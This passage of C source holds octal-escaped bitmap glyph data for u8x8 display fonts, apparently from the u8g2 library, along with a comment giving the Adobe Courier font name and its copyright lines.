"\0\0\0\0\0\0\0\0\200\300\340\360x\70<\34\34\34\34\34\0\0\0\0\0\0\0\0\0\0\0\374" "\377\377s\70\30\34\34\34xpppp" "x<\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\34\34\34\34\34\34\34\374\374\374<\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\360\376\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p|\177\37\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\70\34\34\34\34\34\70\370\360\300\0\0\0\0\0\0\0\0\0\0\0\301" "\347\377~<<\34\34<>\177\367\341\300\0\0\0\0\0\0\0\0\0\0\17\37\77\70xpppp" "x\70\77\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370x<\34\34\34\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\70\70\70\70\370\370\370\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\70\70\70\376\376\376\0\3\3\3\0\0\0\0\0\0\0\0ppp\177\177\177ppppp" "ppp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\70\70\70\70\70\370\370\370\0\0\0\0\0\0\0\0\0\0" "\377\377\377\70\70\70\376\376\376\0\0\3\3\3\0\0\0\0\0\0\0ppp\177\177\177ppppp" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360p\70\70\70\70\70\70p\360\370\370\0\0\0\0\0\0\0\0\376\377" "\377\3\0\0\0\0\300\300\300\300\300\303\303\303\300\0\0\0\0\0\0\0\3\17\37>\70xppqq" "qqy\77\77\37\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\370\370\370\70\70\70\0\70\70\70\370\370\370\70\70\0\0\0\0\0\0\0\0\0\377" "\377\377\70\70\70\70\70\70\70\377\377\377\0\0\0\0\0\0\0\0\0pp\177\177\177ppp\0pp" "p\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\70\70\70\70\370\370\370\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppppp\177\177\177p" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\370\370\370\70\70\70\70\0\0\0\0\0\0\0\340\340" "\340\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\37\77\77xppppx<" "\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\0\0\270\370\370\370x\70\70\0\0\0\0\0\0\0\0\0" "\377\377\377x\70<~\377\367\343\301\0\0\0\0\0\0\0\0\0\0ppp\177\177\177ppp\0\0" "\1\7\177\177|ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\70\370\370\370\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\377\377\0\0\0\0\0\0\0\300\300\300\0\0\0\0\0\0\0pppp\177\177\177pppp" "ppp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\370\370\340\200\0\0\0\0\0\200\340\370\370\370\370\70\70\0\0\0\0\0\377\377" "\377\1\17\77\376\370\300\370\376\77\17\1\377\377\377\0\0\0\0\0pp\177\177\177ppp\1\7\7\7" "\1ppp\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\370\360\340\200\0\0\0\70\70\70\370\370\370\70\70\0\0\0\0\0\0\0\377\377" "\377\1\7\37>\374\360\340\200\0\377\377\377\0\0\0\0\0\0\0pp\177\177\177ppp\0\0\1\7" "\17>\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360p\70\70\70\70\70\70p\360\340\300\200\0\0\0\0\0\0\0\376\377\377" "\3\0\0\0\0\0\0\0\0\0\0\3\377\377\376\0\0\0\0\0\0\1\7\17\37<\70ppppp" "p\70<\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\70\70\70xp\360\340\200\0\0\0\0\0\0\0\0\0\0" "\377\377\377\340\340\340\340\340\340px\77\37\17\0\0\0\0\0\0\0ppp\177\177\177ppppp" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360p\70\70\70\70\70\70p\340\340\300\200\0\0\0\0\0\0\0\376\377\377" "\3\0\0\0\0\0\0\0\0\0\0\3\377\377\376\0\0\0\0\0\0\1\7\17\36\274\370\360pppp" "p\70<\36\17\7\1\0\0\0\0\0\0\0\0\16\17\17\7\7\7\7\7\17\16\16\16\16\17\7\7\0" "\0\0\0\0\0\70\70\70\370\370\370\70\70\70\70\70\70x\360\360\340\200\0\0\0\0\0\0\0\0\0\0" "\377\377\377pppp\360\360\370\274\37\17\7\0\0\0\0\0\0\0ppp\177\177\177ppp\0\0" "\1\3\7\37~|xpp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\340\360p\70\70\70\70\70xp\360\370\370\0\0\0\0\0\0\0\0\0\0\7\17" "\37\36<\70\70xpp\360\343\343\303\200\0\0\0\0\0\0\0\0\0\177\177\177\70\60ppppp" "p\71\77\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\370\370\370\70\70\70\70\370\370\370\70\70\70\70\370\370\370\0\0\0\0\0\0\0\17\17\17" "\0\0\0\0\377\377\377\0\0\0\0\17\17\17\0\0\0\0\0\0\0\0\0ppppp\177\177\177p" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\370\370\370\70\70\70\0\0\0\70\70\70\370\370\370\70\70\0\0\0\0\0\0\0\377\377" "\377\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\3\17\37<\70xpppx" "\70<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70\70\370\370\370\70\70\70\0\0\0\70\70\70\370\370\370\70\70\70\0\0\0\0\0\0\1" "\7\77\377\370\340\0\0\0\340\370\377\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\177x\177" "\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\370\370\370\70\70\70\70\0\0\0\70\70\70\70\370\370\370\70\0\0\0\0\0\0\7\377\377" "\370\0\340\374\377\37\377\374\340\0\370\377\377\7\0\0\0\0\0\0\0\0\3\177\177\177\37\3\0\0\0\3" "\37\177\177\177\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70x\370\370\370\270\70\0\0\0\70\270\370\370\370x\70\70\0\0\0\0\0\0\0\0\0" "\1\203\307\357\376|\376\357\307\203\1\0\0\0\0\0\0\0\0\0ppx|\177\177wq\0\0\0q" "w\177\177|xpp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\70\70xx\370\370\270\70\0\0\0\70\270\370\370xx\70\70\0\0\0\0\0\0\0\0\0" "\1\7\17\77\374\370\374\77\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0pppp\177\177\177p" "ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\370\370\370\70\70\70\70\70\70\370\370\370x\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\300\340\360|>\37\7\3\201\200\200\0\0\0\0\0\0\0\0\0p|~\177wsqppp" "pp\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\34\34\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\16\16\16\16\0\0\0\0\0" "\0\0\0\0\0\0\0\7\37\377\374\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\3\37\177\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77" "\376\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\0\0\0\0" "\0\0\0\0\0\0\0\0\34\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\16\17\17\17\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\360|>|\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\16" "\17\17\3\1\0\0\0\1\3\17\17\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70" "\0\0\0\0\0\0\0\0\0\0\6\16\34\70p`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\216" "\216\217\307\307\307\307\307\307\317\376\376\374\0\0\0\0\0\0\0\0\0\0\36\77\177sqqqqq\71" "\31\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377<\16\16\7\7\7\7\17\16>\374\370\340\0\0\0\0\0ppp\177\177\177<\70pppp" "ppx<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370" "\374\36\16\17\7\7\7\7\17\16~\177\177\0\0\0\0\0\0\0\0\0\7\37\77\16\17\7\7\7\7\17\16>\377\377\377\0\0\0\0\0\0\0\0\3\17\37<\70xppppx" "\70\34\177\177\177ppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370" "\374\336\316\317\307\307\307\307\317\316\336\374\370\360\0\0\0\0\0\0\0\3\17\37\77=yyqqqq" "qqqy\71\71\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\340\370\370<\34\34\34\34\34\34\34\34\0\0\0\0\0\0\0\0\7" "\7\7\7\377\377\377\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0pppp\177\177\177pp" "ppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374" ">\16\17\7\7\7\17\16>\377\377\377\7\7\7\0\0\0\0\0\0\3\17\37>xppppx\70" "\36\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\70<\36\37\17\3\0\0\0\0" "\0\0\0\0\0\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\34\16\7\7\7\7\17\376\374\370\0\0\0\0\0\0\0\0\0pp\177\177\177pp\0\0\0" "pp\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\7\7\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppp\177\177\177" "pppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\7\7\7\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\70\70<\37\17\7\0\0\0\0\0" "\0\0\0\0\0\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\377\377\377\300\340\367\377\77\37\17\7\7\7\0\0\0\0\0\0\0\0ppp\177\177\177\1\3\7\17\177" "~|xppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\34\34\34\34\34\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppp\177\177\177" "pppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377" "\377\16\6\7\7\377\376\376\16\7\7\7\377\376\374\0\0\0\0\0\0p\177\177\177pp\0\0\177\177\177" "pp\0\0\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7" "\377\377\377\34\16\7\7\7\7\17\376\374\370\0\0\0\0\0\0\0\0\0pp\177\177\177pp\0\0\0" "pp\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370" "\374>\16\7\7\7\7\7\7\7\16>\374\370\340\0\0\0\0\0\0\0\3\17\37>\70ppppp" "pp\70>\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\377" "\377\377\34\16\6\7\7\7\7\7\16\36\374\370\360\0\0\0\0\0\0\0\0\377\377\377\34\70\60ppp" "p\70\70\36\37\17\3\0\0\0\0\0\70\70\70\77\77\77\70\70\70\70\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374" ">\16\17\7\7\7\7\17\16>\377\377\377\7\7\7\0\0\0\0\0\3\17\37>\70xpppp\70" "\70\36\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\77\77\77\70\70\70" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\377\377\377<\16\16\7\7\7\17\37\16\4\0\0\0\0\0\0\0pppp\177\177\177ppp" "pppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "x\376\376\357\307\307\307\307\307\217\236\237\37\0\0\0\0\0\0\0\0\0\0~~~\70\71qqqq" "qs;\77\37\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7" "\7\377\377\377\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\37\77\77xppp" "px\70<<\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\377\377\377\0\0\0\0\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\37\77\177xpppp" "x\70\177\177\177pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\17\77" "\377\377\347\207\0\0\0\207\347\377\177\37\7\7\7\0\0\0\0\0\0\0\0\0\0\3\17\77~x~\37" "\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\177\377" "\377\307\7\340\370\370\370\340\7\307\377\377\177\7\7\0\0\0\0\0\0\0\0\7\177\177\177\17\1\0\1\17" "\177\177\177\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\17" "\37\77\177\367\340\300\340\367\77\37\17\7\7\7\0\0\0\0\0\0\0pppx|~w\3\1\3w" "\177~|xpp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\17" "\77\377\377\347\207\0\0\0\7\307\367\377\77\17\7\7\0\0\0\0\0\0\0\0\0\0\3\17\77\376\370\374" "\77\17\3\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70<\77\77;\70\70\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\77\77\77\7\207\307\347\367\177\77\37\17\7\0\0\0\0\0\0\0\0\0\0\0x|~\177wsqp" "pp|||\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374<\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\300\300\340\377\377\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\16\16\16\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\34\34<\374\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\77\377\377\340\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\16\16\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360" "\370\70\34\37\7\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300" "\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374|\34\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\360\376\177\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\77\7\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34\37\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\340\340ppppp\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377\1\0\0\0\0\0\1\377\377\377\0\0\0\0\0\0\0\0\0\0\0\37\177\377\360\300\300\300\300\300" "\360\377\177\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\300\300\340\340\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\1\3\3\1\1\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\377\377\377" "\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\200\300\340\340ppppp\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0\7" "\7\7\0\0\0\200\300\340\360\177\77\17\0\0\0\0\0\0\0\0\0\0\300\340\360\370\374\336\317\307\303\301" "\300\300\300\300\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0\0" "\0\0\0\0\0\0\0\300\300\340\340ppppp\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\1" "\1\1\0pppp\360\370\377\337\217\0\0\0\0\0\0\0\0\0\0\340\340\340\300\300\300\300\300\300\300" "\340\361\377\177\36\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\300\360\374\77\37\7\1\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\16\17\17\17\16\16\316\316\316\377" "\377\377\316\316\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\360\360\360ppppppppp\0\0\0\0\0\0\0\0\0\0\0\0" "\177\177\177\70\70\70\70xx\360\360\340\200\0\0\0\0\0\0\0\0\0`\360\340\340\300\300\300\300\300\300" "\340\360\377\77\37\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360ppppp\0\0\0\0\0\0\0\0\0\0\0\360" "\376\377\317\343appp\360\340\340\200\0\0\0\0\0\0\0\0\0\0\0\17\177\377\371\340\300\300\300\300" "\340\361\377\177\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\360\360\360ppppppp\360\360\360\360\0\0\0\0\0\0\0\0\0\0\3\3" "\3\0\0\0\0\0\300\370\377\177\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\177\37" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\340\340ppppp\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\7" "\237\377\370\360\360pp\360\370\377\337\207\0\0\0\0\0\0\0\0\0\0\0\77\177\377\341\340\300\300\300\300" "\340\341\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\340\340\360ppp\360\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\77" "\177\377\341\300\200\200\200\300\341\177\377\377\374\0\0\0\0\0\0\0\0\0\0\300\340\341\301\303\303\303\343\341" "x~\77\17\3\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\30<<<\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -Adobe-Courier-Medium-R-Normal--34-240-100-100-M-200-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 191/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courR24_3x4_f[21508] U8X8_FONT_SECTION("u8x8_font_courR24_3x4_f") = " \377\3\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\377\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\340\341\340" "@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0" "\1\77\7\1\0\0\0\1\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\370\0\0\200\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\10\10\10\377\10\10\10\377\10\10\10\10\0\0\0\0\0\0\0\0\0\0\0\2\2\2\302\77\2\2\342\77" 